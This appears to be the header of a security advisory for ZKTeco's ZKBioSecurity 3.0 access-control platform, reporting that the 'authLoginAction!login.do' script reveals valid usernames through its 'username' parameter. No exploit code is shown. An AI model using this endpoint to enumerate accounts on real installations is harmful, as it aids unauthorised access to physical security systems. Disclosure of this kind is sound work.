# Summary: ZKBioSecurity3.0 is the ultimate "All in One" web based security
# platform developed by ZKTeco. It contains four integrated modules: access
# control, video linkage, elevator control and visitor management. With an
# optimized system architecture designed for high level biometric identification
# and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced
# solution for a whole new user experience.
#
# Desc: The weakness is caused due to the 'authLoginAction!login.do' script
# enumerating the list of valid usernames when some characters are provided
# via the 'username' parameter.
#
# Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
